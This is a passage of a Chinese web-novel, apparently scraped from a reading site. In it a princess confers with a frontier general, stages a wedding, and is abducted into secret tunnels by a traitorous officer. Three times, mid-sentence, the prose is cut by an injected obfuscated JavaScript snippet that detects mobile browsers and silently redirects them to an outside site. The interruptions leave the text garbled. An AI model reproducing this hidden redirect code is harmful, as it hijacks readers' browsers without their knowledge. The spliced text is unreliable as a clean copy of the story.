当夜,晏泠音由魏收陪着去见谢朗。据魏收道,谢朗中的毒叫如饴,在北地不常见,应当是被人从南边带来的。那人特意在晏泠音抵达泾州后才开始投毒,显然有嫁祸的意思,只怕早就计划好了。 “我没那么重要,”晏泠音只觉其中尚有关窍,“不过是碰巧赶上,让那人捡了个现成的替罪羊。” “倒也不无可能。”魏收忧心忡忡,看起来并没被她说服,“主子也觉得,投毒之人不是高介景?” “高统领为人耿介忠诚,”晏泠音放轻了声音,“此次因爱妻幼子受人胁迫,不得已才做了错事,但不会丧心病狂到给将领下毒。他的性格,魏大哥比我更清楚。” 魏收安静片刻,忽然道:“主子,前面有人。” 一轮极大极亮的圆月挂在半空,辉光如雪,照得月下的苏觅也成了雪人。他倚着池边的栏杆看游鱼——游鱼?泾州兵荒马乱了好些年,谁有闲情在池中养游鱼?可苏觅看得认真,仿佛那一潭漆黑的死水里真有什么东西,需要他那样认真地去辨认。 晏泠音从他身后走过,瞥了一眼池面,只看到了苏觅倒映其上的苍白的脸。 “为什么救我?” 他的声音轻得像耳语。晏泠音停下脚步,魏收也默不作声地退开两步,背过了身。 她答得平静,像是早就料到他会问这个问题,将答案打磨得轻描淡写:“出口是你发现的。” “我说过我不会水,”苏觅长指摩挲着栏杆,“万一我跳下去,就是为了求死呢?” “那真是抱歉,”晏泠音应得不卑不亢,“阻挠你的计划了。” 风掠起苏觅未束的发,光影朦胧处,他错身勾住了晏泠音的小指。他的手很凉。 “早知如此……”他说着便笑了一声,自顾自地摇头道,“罢了。” 晏泠音再度迈步,魏收也转身跟了上去。她的袖摆和苏觅的在极短的一瞬擦拂而过,旋即分开,像是什么都没有发生过。 直到离池塘已经很远,晏泠音才出声道:“魏大哥,苏觅既已死在了狱中,方才那位又是谁?” 魏收先是一愣,很快反应过来,揣摩着应答:“他自称姓萧,名徽文,是殿下的谋士,此前一直为了殿下潜伏在蔚州。” 萧徽文。晏泠音默念了一遍这三个字。 “我明白了。” 谢朗的背影孤立在城墙上。夜里风大,晏泠音裹得严实,他却只穿了一身单薄的黑色劲装,看着有些冷。他明明也是大病初愈——如饴是能夺人性命的凶险剧毒,若非崔婉及时赶来,他或许已然没命了,但晏泠音从他身上看不出半分病容。他身材高大,肩背宽厚,只要站在那里,就是泾州的山。 魏收停在城墙内侧,晏泠音独自上前,与谢朗并肩而立。 “你看,”谢朗没有看她,只抬手指向远处的星点灯火,“那是幽兵的营地。” 晏泠音顺着他手指的方向看去:“他们还没有死心。” “听说苏自膺急着继承王位,要拿泾州当他一步登天的功勋。”谢朗轻嗤一声,“做梦。” “你让宋齐查过詹士伦的身世,”晏泠音微侧过头问他,“他既然是土生土长的梁国人,为什么会投敌叛国?” 谢朗垂下手臂,单手负在身后:“朝中亦有大员心向幽国,叛徒这种东西,遍地皆是。” “我明日去见宣抚,”晏泠音在他嘲讽的口气里听出了探问之意,“他久居朝堂,在最腥风血雨的数年里依旧稳身其中,朝中的浑水深浅,他应当比你我更清楚。他或许不欲站队表态,甚至对我尚心存芥蒂,但太子妃之死一直是他胸中隐疾,事涉爱女,他不会坐视不理。” “看来,殿下此行蔚州收获颇大,”谢朗似来了些兴趣,“怎么忽然想到去查陈洵?” “我早便想了。”晏泠音垂眸注视着斑驳的城墙,抬手抚上坑洼之处,那皆是风雨和战火留下的痕迹,“皇长兄走时我还年幼,只顾着伤心,对许多怪异之处皆不及细想。后来慢慢懂了事,也觉憺儿可怜,平日里哄他时,曾说过要帮他找爹爹和阿娘。” 谢朗没料到她会这么说,微觉惊讶。 “但说来惭愧,我始终未将此事放在心上,我那几年锐意前行,想斩断病死的枝干,却忘了根部最先朽烂。”晏泠音顿了顿,无声地吁了口气,“直到我在白水河落水。谢将军,恕我冒昧,我知北地百姓皆将此河视为母亲,奉若神明,可它不正常。” 谢朗眉梢微扬:“白水河近年来旱涝失常,情形与十年前的已大不一样,殿下不可以今论昔。” “如果真有人动了手脚,必定会留下些什么。”晏泠音坚持道,“十年而已,不是一段太长的时间。” 谢朗沉吟片刻,若有所思:“若殿下确有此心,阿行探查之功了得,她可以帮你。” 晏泠音却摇了摇头,她迎着谢朗探究的目光,轻声道:“此事非小,重要的不是谁能查,而是谁敢查,换言之,是谁能担得起后果。白姑娘是江湖中人,不能于朝堂上立证,我会找到更适合的人选。” 她这话说得不错,但更关键的原因是白行也不信她。谢朗听出点意思,似乎想说什么,最终还是叹了一声,只吐出两字:“也好。” 他不再多问,将话头带回陈桉身上:“泾州的厢、土二军经陈老整顿了月余,已初见成效,此事亦要感谢殿下一力促成。” “他并非被我说服,”晏泠音笑意浅淡,“他心中有愧,不欲与我相争罢了。” 城墙上的风骤然一紧,晏泠音的肩瑟缩了一下。谢朗终于转过头,正面望向她,目光很深:“殿下仁厚,蔚州之事,是我对不住殿下。” “将军言重了。”晏泠音收了笑,“若非白姑娘及时出城制止了大军调动,泾州的伤亡会更惨烈。” 谢朗有片刻沉默。晏泠音看得出来,他不是喜欢为自己辩解的人,她再多说,只怕会适得其反。 “将军的毒已解了吗?”晏泠音挑过话题,“我听闻此毒十分凶险。” “解不了,”谢朗沉了声,“只能暂时压制,数年后会逐渐武功尽废,暴毙身亡。” 晏泠音猛地抬头望向他,却见谢朗唇边噙着抹似有若无的笑,她怔了一会儿才反应过来,皱眉道:“将军不要拿此事说笑。” “殿下宽心,”谢朗看她没那么严肃了,便敛容正色道,“那是对外的说法。阿婉已在替我寻药,待配好了药,至多半个月,此毒能解。” 晏泠音的眉头刚松开便又拧起,她盯着谢朗的脸看了一阵,语气里带了责怪:“将军在赌。” 谢朗有些诧异地挑了下眉:“殿下此话何意?” 晏泠音没有移开目光:“你早就察觉到了,除了高介景,泾州还藏了一个内奸。你故意露出破绽,就是为了诱他现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573014|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。” 谢朗也注视着她的眼睛。晏泠音的眸子细长,盛满了清亮如水的月色,干净得与北地的浑浊风沙格格不入。他心中微动,忽地挪开视线,又望向远处的营地:“不算赌,有阿婉在,我稳操胜券。” 这人看着沉着稳重,内里的狂傲却一如从前,晏泠音不知该笑该叹还是该替他担忧。她听着城墙下的打更声,在梆子声响的间隙里开口道:“崔姑娘也在怪你,你带伤上阵,视性命如儿戏。” “天宽地窄,”谢朗的声音忽然飘得很远,“不游戏一场,怎么苦中求乐。” 晏泠音弯了弯唇:“不想我与将军竟是同道之人。” “是么,”谢朗却没有附和她,“我为囚兽,殿下却是飘萍,我尚可选择战死疆场,留万世豪名,不似殿下受缚于茧中,生死不由自己。” 晏泠音轻声道:“将军怀疑过我。” “我想过,”谢朗不动声色,“殿下,亦或殿下的侍女,或许身怀武艺。” “的确,”晏泠音抬手,袖中被白行也送还的短刀随之露出一角,“我领命而来,若时机合适,我会杀了你。” 谢朗笑了起来。他眉目俊朗,平日里看着冷,笑时却令人如春风拂面:“那可是不得了的大事。”他想起什么,倏然又收了笑,从胸口摸出只雕刻精巧的银镯,递给了晏泠音。 她动身去蔚州前,谢朗将此物赠给了她,而她又转交宋齐,由宋齐带回了泾州。 “殿下不顾安危赶赴蔚州,自那一刻起,我就再未对殿下起过疑心。”谢朗语声难得郑重,“这是我母亲的镯子,只传谢家女,既然赠给了殿下,便没有再要回来的道理。” 晏泠音看着那被月光镀上银边的手镯,没有立刻伸手去接:“将军可知,这意味着什么?” 谢朗的目光落在她晕开了月色的发顶:“殿下是皇嗣,我为避嫌疑,能给的承诺有限。但我答允殿下,今后无论何时何地,只要殿下开口,我会以性命相助,完成殿下的一个心愿。” 他虽未明言,晏泠音却已听懂了。她尚有些迟疑:“将军就这般肯定,你我成婚之时,那人会再次动手吗?” “他刻意离间我同殿下,”谢朗的手仍停在半空,“其心甚明。” 晏泠音接了镯子,手有些发颤,她说:“我敬将军大义。” 谢朗的掌心残留着她指尖柔软的触感,他收手时虚攥了下手,摇头道:“是我该敬殿下。” 月光太亮了,照得无数隐秘的情绪都无所遁形。谢朗仰头望着已至中天的圆月,声音里难得带了些柔软:“今夜月明,殿下想家了吗?” 晏泠音手中的银镯冰凉,她垂了眼回忆旧事:“每年今日宫中都会摆宴,但很少邀请我和母妃。母妃用斋祭月,我陪着她拜上两拜,便是过节了。如今想来,倒也没什么趣味。” 谢朗在她轻柔的嗓音里有片刻恍惚。他又看了一会儿月亮,转身离开前,替晏泠音拢了下耳边的碎发。 “我母亲在中秋的前一日下葬,”他声音很淡,“她被烧成了飞灰,我们只能葬下她的衣冠,和父亲描摹她生前面容的画像。为此,父亲和我从不过中秋。” 耳边的暖意消散,晏泠音嗅到了他身上膏药的气味。她忽然想起了什么,回头望向他的背影:“我有一瓶效用甚佳的金疮药,此前借给了成均,将军若是需要,可以找他取。” 谢朗步子一顿:“成均受了伤?” 晏泠音讶然:“他没有提过此事吗?” 谢朗没立刻应答。很快,他背对着晏泠音摆了下手,大步走下了城墙。 70. 玉簪 回兄,见信如晤。 天已转凉,北地秋景甚佳,名山丽川瑰魄雄奇,一如你我曾于书斋中畅想的模样。惜无桂香。 宛京的丹桂可曾开了?我于北地无所念,只惦记着九里街的桂花糕。玉染也爱吃那家糕点,你若见到她,请她代我问母妃安。 崔姑娘说大理寺事务繁多,你忙起来便顾不上休息,随信附上她用北地野花做的香囊,安神助眠,效果极好。听闻江伯父有致仕意,寄厚望于你,还望回兄不要为此烦心。陈老昨日与我闲谈,提及前年与江伯父对饮夜谈之事,伯父曾坦言,他不求你位极人臣,只愿你一生无灾无病。 几部未校完的书稿还存在你那儿,有两篇论及水利,我不通此道,你若得闲可替我看看。 我这里一切都好,珍重珍重。勿念。 妹暄 展开的信纸在江渊然手中轻颤着,他出了片刻的神,搁了信,又拿起那只绣样精巧的香囊递到鼻尖。涩苦的草药气霎时弥散开来,他微闭了眼,隐约间望见了信中所言的雄奇山河。 手背被不轻不重地啄了一口,江渊然轻嘶一声,转头看向那只长途跋涉的灰毛鸽子:“你介意再等一日吗?我摘了些桂花,想请你一并带去。” 鸽子显然不解风情。它歪头看着江渊然,黑亮的小眼睛里满是不耐和责怪。 “好罢,”江渊然叹了口气,“我这就回信。” 他研墨铺纸,还未落笔,便听到门外传来匆促的脚步声。在屋门被推开前,他一把抓住那只不明所以的鸽子,塞进了桌案边的小柜里。 鸽子咕了一声,被江予有些恼怒的质问盖过了。 “温娘说你回来了,”江予走得急,声音里还带着喘,“怎么也不来见爹爹。” 江渊然从桌案边站起,对着他垂首作揖:“只是回来取些东西,署中还有事情,不及给爹爹请安。” “你既然还认我这个父亲,”江予加重了语气,“就莫要把我说过的话当成耳边风。” 江渊然平静道:“孩儿不敢。” “我替你寻了好几家的姑娘,你却没一个中意的,是在闹哪班脾气?趁着我如今尚在朝中,和各部都能攀些交情,还能帮你说上些话,等我退了,你再想结一门好亲事,可就难得很了。” 江渊然原本想像往常那样搪塞过去,转眼看到桌边的香囊,忽然改了主意。他近日劳累过度,面色不佳,但在父亲面前依旧客客气气:“我已心有所属,爹爹不必太过操心。” “是谁?”江予重重地往前踏出一步,惊得柜中的鸽子又咕地叫了一声,但他尚在震惊中,并没留意,“渊儿,你要知道,江家是跟着五殿下的,朝中有几位大人素来与殿下不睦……” 江渊然已经比父亲高出了一个头。他望着江予稍显佝偻的肩背,心中软了一下,却还是继续道:“孩儿心意已决,此生非她不娶。爹爹是为我好,我明白,只是……恕难从命。” 江予真的动了气:“婚姻大事岂能由你胡来?你倒是告诉爹爹,究竟是哪家的姑娘,让你这般失魂丧魄?” 那句失魂丧魄让江渊然无端怔了一瞬。他这一生没有羡慕过任何人,却总是难以自制地,对数年前的自己生出微妙的妒意。 他早已没有了失魂丧魄的资格。 “崔家嫡女。”江渊然看着江予脸上血色尽褪,知道这是父亲最怕听见的回答。他心中厌烦,忽然便觉到了疲惫,“孩儿不会让爹爹为难,执意同崔氏相交,但请爹爹也不要逼迫孩儿。温姨娘,”他拔高了声音,看向躲在门外的人影,“爹爹累了,你送他回房歇息罢。” 江予被劝出门时还在发愣,走了两步又忽然回过头,梗着脖子冲江渊然喊:“你想都不要想!”他像是刚反应过来,面色胀得发了红,喘着气道,“你一向懂事,怎么在这件事上如此糊涂?荒唐……绝无可能!” 江渊然承着他暴涨的怒气,没有多说,只点了点头。 “我知道,”他重复了一遍,用的是公事公办的语气,“绝无可能。” * 战时一切从简,但婚事的筹备还是比晏泠音料想的繁琐许多。她看着一道道红绸在城中高挂起来,对身后正替她挽发的青荷小声道:“也不必如此铺张。” “这可不是铺张,”青荷梳发梳得小心,压着她的肩膀不让她乱动,只怕碰歪了发髻,“都是宫里赏的东西,好容易才从山匪那里寻回来。殿下是按公主的规制出嫁的,若是连这点排场都没有,未免叫人笑话。” “那又如何。”晏泠音垂了眼,“我不在意这些,将军也是。” “挂完绸子就算了,”青荷知道她怕麻烦,叹了口气,“将军早吩咐过,这次不摆宴,不奏锣鼓,越低调越好。殿下是没见着,那些京中带来的稀罕吃食,都被分给城中的小儿了。” 晏泠音这才露出笑来:“是他的做派。” “殿下,”青荷看着晏泠音唇边的笑意,只觉有苦涩从心底泛涌上来,她轻声道,“就这样决定了吗?” “我与将军早有婚约,”晏泠音说得自然,“他如今身体抱恙,早些办了婚事,也好替他冲喜。” 青荷垂首替她整理发饰:“听说谢都督也病着。” “确还未醒,”晏泠音望着窗外飘动的红绸,“多事之秋。”收回目光时,她借着镜面望见了发簪的一角,不觉愣了一下,“这簪子是哪里来的?” 她原先那支发簪留在了蔚州的当铺里,没时间也没心力去赎回,而青荷替她插上的这支看着眼生,不像是宫里的样式。 “一直搁在殿下妆台上呀,”青荷惊讶道,“我以为是将军送的,殿下也不认得吗?” 青荷这一猜测不是毫无缘由,按照大梁的习俗,男子只能赠发簪给正妻。 “……或许罢。”晏泠音侧过头,试图辨认玉簪上的纹样,但从她的角度实在看不清楚,只得作罢,“我记不清了。” 她来北地后便未曾敷过脂粉,因而望着镜中的盛妆之人时,晏泠音竟觉到了陌生。颈边一道伤痕被青荷小心地遮盖掉了,薄唇沾了胭脂,似红透的浆果,是她整张脸上唯一一点艳色。 青荷绕到她身前,俯身替她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582599|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额间点上了花钿。她正要缩回手时,被晏泠音轻轻握住了。 “青荷姊姊,”晏泠音感觉到她的手在颤,“你瘦了好多。” 这句话不说还好,一说出来,听得青荷眼眶都泛了红。她眨了下眼,掩饰道:“殿下可还记得,小时候的夏天,奴婢和殿下一起坐在荷池边乘凉。陛下和娘娘站在荷池另一头,他们聊他们的,我们也聊我们的……当时殿下对奴婢说,一辈子都不想嫁人,只愿这样自在快活地度过一生。” “人是会变的,”晏泠音轻声道,“总要顺着时势。” “奴婢知道殿下不愿意。”青荷摇了摇头,笑得勉强,“殿下是自由自在的鸟儿,不会甘愿停在此地。这一点谢小将军不懂,娘娘不懂,连那位苏……萧公子也不懂。” 晏泠音心头一震。她抬眼去看青荷憔悴的脸,在这一霎忽然有似曾相识之感。就在她还未离京,与青荷一同跪在怡和殿前的时候,她也察觉到了那种微妙的、一闪即逝的挣扎心绪。 “可是我甘愿,”晏泠音将侧脸贴在她的手背上,轻轻摩挲着,这是她们长大后便很少有过的亲昵举动,“我为了老师,为了所有因我而枉死的无辜者留在这里,我是心甘情愿的。” 青荷怔了两秒,忽然意识到这样会弄花她的妆面,赶紧把手往回缩:“都怪我,好端端地说这些做什么。殿下的日子还长着呢,待到战事平定,天大地大,又有何处不可去。” “待到战事平定,”晏泠音任她边小声埋怨边替自己补妆,笑着说道,“我们去你的家乡看看罢。小时候听你讲了许多家中好玩的事,实在向往得很。” 青荷原本在用指腹帮她刮匀妆面,闻言动作一顿。她避开了晏泠音的视线,将头埋进晏泠音一头乌发的阴影里。 “好,”青荷的声音在不易察觉地颤抖着,“到时候,我带殿下回家乡看看。” 红盖头被罩了上来,晏泠音眼前漫开了朦胧的红。她扶着青荷的手向门口走去,隔着红绸看见了同样身着喜服的谢朗。他刚从马背上翻身跃下,正负手立在门边,与她遥遥相望。 今日天晴,骄阳方升,晏泠音从屋檐下走出,感受到了被阳光灼烧的疼痛。青荷于门侧止步,看着晏泠音搭上了谢朗的手。他们并肩向婚车走去时,周围的小儿都适时欢呼起来。宋贤和魏收胸前挂着竹篮,朝人群里大把大把地撒着喜糖,祥和而安宁。 这一切都太过真实,以至于晏泠音有些分不清,它究竟是自己与谢朗共同设下的一个局,亦或只是一场普普通通的迎亲。 “马车会在城中绕行一圈,时间有些久,”将她扶上车前,谢朗低声道,“你若等得不耐烦,就用手敲两下厢壁,我能听见。” 入乡随俗,该走的流程还是要走,何况她的耐心一向很好,晏泠音闻言只点了点头。车厢里宽敞整洁,码放了糕点和茶水,甚至还有几本供她打发时间的闲书。她在紧挨着车帘的位置坐下,随手翻阅起那些书册。庸山记闻,桓川集,拾遗要术……翻到最后一本时,晏泠音瞳孔骤缩,心脏突地跳了一下。 南疆志。 71. 空无 大内印制的书册与民间书坊不同,书衣上有暗纹,复杂精巧,极难被仿造。晏泠音的手在“廿二九”三字上抚过,触到了微微凸起的纹路,确认了这一卷是《南疆志》真本。 正是她曾求而不得的那卷佚书。 晏泠音竭力让自己冷静下来。是谁将它放在这里?目的为何?他是怎么得到了这册书? 电光石火之间,某种难以言述的焦躁忽然从她心头掠过——那是对危机的直觉。晏泠音下意识地抬手,要去敲身旁的厢壁,但仍晚了一步。脚下的木板忽然塌陷,晏泠音甚至没来得及发出惊叫,已经连人带书滚落下去。马车上装点着红绸,四周亦有帷幔垂落,因而无人看见,车下铺路的石板早已被悄悄挪开,又在晏泠音陷进去后被迅速合上了。 不远处恰巧有焰火炸响,响彻云霄,与石板挪移的轰隆声混为一体。那是绕城仪式开始的讯号。 谢朗握紧了缰绳,刚要驾马出发,忽又回头向车厢看去。厢内静悄悄的,并无异样。 吉日当天,新郎新娘在洞房前不得相见,否则便犯了大忌。谢朗没有伸手去挑车帘,只调转马头靠近车厢,先敲了两下厢壁,又唤了一声:“殿下?” 他说不上那种古怪的感觉来自何处,只在听到厢中熟悉的应答后才稍放了心。 “该走了,将军,”宋贤也翻身上了马,提醒他道,“不能误了时辰。” 谢朗不再多言,啪的一声甩响了马鞭。 * 晏泠音在斜长的石道里往下坠。她滚得狼狈,却始终没有放开手中的书册。直到她砸上了一片柔软的、杂草似的东西,那令人晕头转向的下坠之势才终于止住,而她浑身都痛得厉害,一时无法坐起,只能躺在地上微微喘气。 盖头早不知去向,她发间的珠钗散了满地,那件温敏亲手替她缝制的嫁衣上也蹭满了砂石,几乎不能看了。晏泠音阖了下眼,听见了水滴掉落的空洞回音。 她在哪里? 缓过那阵酸麻的疼痛后,晏泠音咬牙撑坐起来,万幸只是皮外伤,没有动到筋骨。她吐掉口中的碎石,将那本《南疆志》收入怀中。 脚步声是在此刻响起来的。 来人走得不紧不慢,堪称从容,从那皮革被挤压的吱呀声来看,他穿的是战靴。晏泠音紧盯着黑暗里的某一处,直到那里慢慢出现了人影,来人似是嫌暗,抬手擦亮火折,点燃了灯烛。 是她没有料到的人。谢朗身边的将领,罗从舟。 晏泠音有一瞬没反应过来。她仰头看着罗从舟,对方也若有所思地端详着她。他的神色相当冰冷,那种目光不像在看人,而是在看什么需要估量价值的器物。 “詹士伦没有杀你,”他提到那个名字时,口吻鄙夷,“这么多年过去,他依旧是个懦夫。” 晏泠音觉得体内的血液烧了起来。她在那一刻想明白了许多事,寒声道:“是你。” “我看殿下并不特别惊讶,”罗从舟似笑非笑,“是早就怀疑我了吗?” 这里太深了,晏泠音听不到地面上的声音,也不知仪式进行到了哪一步。但拖延时间总是好的,只要她尽量和罗从舟周旋,或许能等到旁人发现她的失踪。 “不会的,”罗从舟看出了她的想法,轻巧地补充道,“直到入夜都不会有人察觉。你的侍女和你相处了太久,能自然地摹仿你的一切。” 方才烧起的血液忽然冷了下去,晏泠音像是被什么重击了一下,耳边嗡嗡作响。她的反驳脱口而出:“你撒谎。” 青荷不可能背叛她。她确实有事瞒着自己,但是……不可能。 罗从舟笑了起来。晏泠音从未如此厌恶那张并不难看的白皙的脸。她的呼吸粗重而急促,不是因为恐惧。 “你们威胁了她,”晏泠音咬字很用力,“像威胁高统领那样。” “殿下就这般肯定?”罗从舟唇边笑意未褪,“据闻殿下与她自小相识,情谊甚笃,当清楚她的为人。依殿下之见,她会因为受了胁迫就背叛你吗?” 他十分惋惜地叹了口气。 “殿下年轻,不知道世上有比虚无缥缈的情谊更深更重的东西。一己的生死也好,追逐的信念也罢,在那样的东西面前,都是空无,没有办法存在的。” 晏泠音抿着唇。她今日穿着嫁衣,不能随身带刀,但手边正好有一块锋利的石片,被她缓缓捏紧。 她问罗从舟:“你想说什么?” 罗从舟有些倦怠地看着她,抽出了腰间的佩剑:“我不必胁迫那个侍女,她自己做出了选择。因为压在她身上的,是万万人的性命。” 剑尖对准了晏泠音的鼻尖,罗从舟一字一顿道:“她也好,我也好,我们谁都背负不起。” 咚的一声巨响,又有什么东西砸落在不远处,腾起了一片飞灰。罗从舟持剑的手动了一下,脸上浮现出意味不明的笑:“人齐了。” 他调整着长剑的角度,示意晏泠音站起身来,两人一前一后往发出声响的地方走去。晏泠音装作伤了腿的样子,一瘸一拐,衣袖垂落时,将掌中尖利的石片藏了个严实。 走到近处,晏泠音看清了那团东西,是个一袭玄衣的中年男子。他蜷着身子,双目紧闭,似是摔晕了。 罗从舟俯下身去探他的鼻息,唇边的笑意更深:“还活着。” 晏泠音不动声色地打量着四周,却越看越觉心惊。他们所处的是一条曲折的地道,可容两人并肩行走,凭借几个近于垂直的洞窟与地面相连,晏泠音和那男子都是从洞口掉进来的。地道四通八达,往数个方向延伸开去,尽头黑黝黝的,不知通往何处。 泾州这样的军事重镇,下面竟藏着无人知晓的密道,如何不叫人毛骨悚然?若它能连通泾州内外,那一切的城防布置都会成为摆设,泾州……危急。 现在不能慌乱,晏泠音提醒自己,起码不能被罗从舟发现她的慌乱。这人少说也在泾州待了十年,其间大大小小的战事摩擦不断,他却从未启用过这条密道。要么是它不足以让军队通行,要么是罗从舟还在等待时机。 她需要知道他计划的时机。 晏泠音散掉了自己被撞歪的发髻,用手边仅剩的一只玉簪将长发重新盘起。她做这件事的时候,罗从舟竟也没有打断她,他立在一旁看了片刻,不知想到什么,忽然笑了起来。 “殿下,”他感慨般道,“你很像一个人。” 无论何时都要衣冠齐整,在这个以妇德教育女子的地方,执拗地坚持君子做派。 晏泠音盘发盘得相当仔细,似乎对他的话并不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597221|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意:“谁?” 罗从舟却不再答她。他拽起那个中年男子的衣领,就那样拖着他往前走去。男子的长腿不时磕上地面凸起的石块,很快就被划伤了。 但罗从舟显然毫不在意。 “跟上。”他的语气又冷了下来,“不想我杀了他的话。” 晏泠音将最后一缕头发盘好,皱眉道:“我不认得他。” “你本该认得。”罗从舟用剑身拨正了男子的脸,又将手中的灯烛凑近,让晏泠音看得更清楚些,“是殿下的岳父。” 男子面色苍白,病容明显,看起来相当虚弱,哪里有半点传闻里英姿飒爽的模样?晏泠音很难相信他就是谢初原。只那对斜飞入鬓的长眉和高挺的鼻梁与谢朗有点相似,但也只是“有点”。 谢朗的长相随母亲。 罗从舟不愿耽搁时间,没叫她多看,拖着谢初原又往前走。被那样拽着应该颇为疼痛,可谢初原昏得彻底,已是毫无意识。 晏泠音一瘸一拐地跟了上去,尽量放慢脚步,在弯弯绕绕、岔路丛生的地道里记着走过的路径:“你要去哪里?” 罗从舟没理她。 “如果你想用我当人质,恐怕是找错了人。”晏泠音尽力心平气和道,“我和谢朗素不相识,成婚也是迫不得已,他早就想甩掉我这个麻烦了。” 罗从舟哼了一声:“他连他母亲的遗物都交给了你,不可能对你毫无感情。” 晏泠音的脚步顿了一下。是她的错觉吗?方才在昏暗的光线里,谢初原的手指似乎动了一下。 “我倒是罢了,”她好心提醒罗从舟,“你拿了他的父亲,他不会轻饶你。” “殿下说得是,”罗从舟语声轻慢,“他便是再绝情,也不会对生身父亲见死不救。” 原本隐约嘀嗒着的水声更明显了,晏泠音感觉到有湿气扑面而来。她正疑惑间,罗从舟已停了步子,回身用剑指着她,冷冷道:“你走前面。” 晏泠音迈步上前,转过一处拐角后,看见了一条极浅的地下长河。她所立之处有台阶通往河畔,最末一级的台阶旁立着石柱,栓了一条窄小的船。 咔哒一声,身后的罗从舟转动了什么机关,地道猛然一震,晏泠音也被撼得晃了一下,抬手扶住了石壁。原本静流着的河水陡然汹涌起来,浪花拍在岩石上,碎成了雪末。那条搁浅的船也被冲进了急流里,急欲挣脱缆绳的束缚,往远处漂去。 罗从舟走上前来,与她并肩站在最高一级的石阶上:“上去。” 他的意思很明白,是要她第一个上船去。 晏泠音提起长长的裙裾,在往下走时被打湿了鞋袜,冷意砭骨。若这里只有她和罗从舟两人,她还可赌一把,赶在他上船前割断缆绳,先他一步逃出去。不论河流的尽头是什么,总好过在这里受他挟持。 但现在不行。现在他手里有谢初原。 晏泠音回头,看见谢初原的脸半浸在污水里,衣裳也湿了大半,他却浑然不觉,如同半死。她想起两月前的庸山一役,又想起近日城中谢都督重病将死的传言,只觉一阵恶寒。 谢氏父子是泾州的主心骨,也是幽国最畏惧的梁国将领。罗从舟处心积虑地算计这两人,不可能只是为了私人恩怨。 其心可诛。 72. 暗河 湍急的流水里,小船被冲得颠簸不堪。罗从舟坐在船头,左侧是晏泠音,右侧是谢初原。他不惧水寒,将手探入河中,似在估量水的流速。晏泠音看了一阵,也将手伸入了水中。 她嫁衣上闪烁的金粉散在流水里,转瞬就溶得无影无踪。 “想不到罗统领精晓机关之术,”晏泠音收了手,慢慢擦掉掌中的水渍,“能这般巧借地势引水蓄水,又以机关控制水闸开合的偃师,大梁或许找不出第二个。” 她心中不安,刻意压着不想在罗从舟面前表露出来。偃师这个身份意味着什么,旁人不清楚,身为术师的她却是知道的。说到底,偃师亦是术师的一种,但他们既不制偶,也不下蛊,而是将毕生精力都倾注在机关之术上。多年前的那次大清洗中,偃师是唯一活下来的术师支脉。他们没有被赶尽杀绝,是因为他们及时“弃暗投明”归附了朝廷。晏懿征讨南疆时,偃师们有助战之功。 换而言之,这是一群不惜背弃族人,只求保己之命的叛徒。南疆一战后,偃师也渐渐销声匿迹,或许是知道自己的所作所为不光彩,无颜出现在世人面前。 不像是功成身退,更像是鸟尽弓藏。 晏泠音见罗从舟不答,又继续道:“听闻贵派的祖师爷在开宗立派之时,为门内弟子设下了严规,无论男女贵贱,誓以护众生性命为毕生所求。罗统领技艺虽然高明,却视泾州满城百姓如草芥,就不觉得愧对祖师爷的教诲吗?” 她越是说,罗从舟越是沉默得像块石头,不给她套话的机会。船上一时静寂,只能听到流水冲击岩壁的哗啦声。灯盏被放在罗从舟脚边,光亮渐趋微弱,终至彻底熄灭。黑暗沉沉地笼罩下来,压迫着晏泠音,如有实质。 这里狭窄逼仄,暗无天日。 晏泠音开始发颤。她控制不住咬唇的力道,尝到了血的腥味。这种感受无论经历多少次都依旧难熬,她在转瞬间汗湿了脊背。 但是不行,她需要保持清醒。晏泠音迫使自己去想些足以抵抗黑暗的东西。怡和殿中缭绕的檀香,宛京城秋日的丹桂,秘书阁里风吹书页的沙沙声,还有……上一次身处地道中时,握住她手腕的那只手。 晏泠音忽然想到了什么,从昏沉的状态中挣扎着清醒过来。 地道。 宛京也有地道。 那是何人所建?她所见到的那一段,是否是它的全部? 等她回去,晏泠音暗下决心,她要想办法彻查宛京的暗道。 船行至河道拐弯处,不时地撞上岩石,颠簸剧烈。晏泠音坐不稳船沿,贴着舱壁滑进船腹,脚边就是昏迷着的谢初原。舱中溅了水,积至她脚面,她有些费力地翻过谢初原的脸,让他口鼻朝上,不要被闷在水中。 他们走了多久?少说也有两个时辰。绕城的仪式该结束了,谢朗是否已经发现了她的失踪?她能为他拖延多少时辰,才足以让他找到他们的位置? 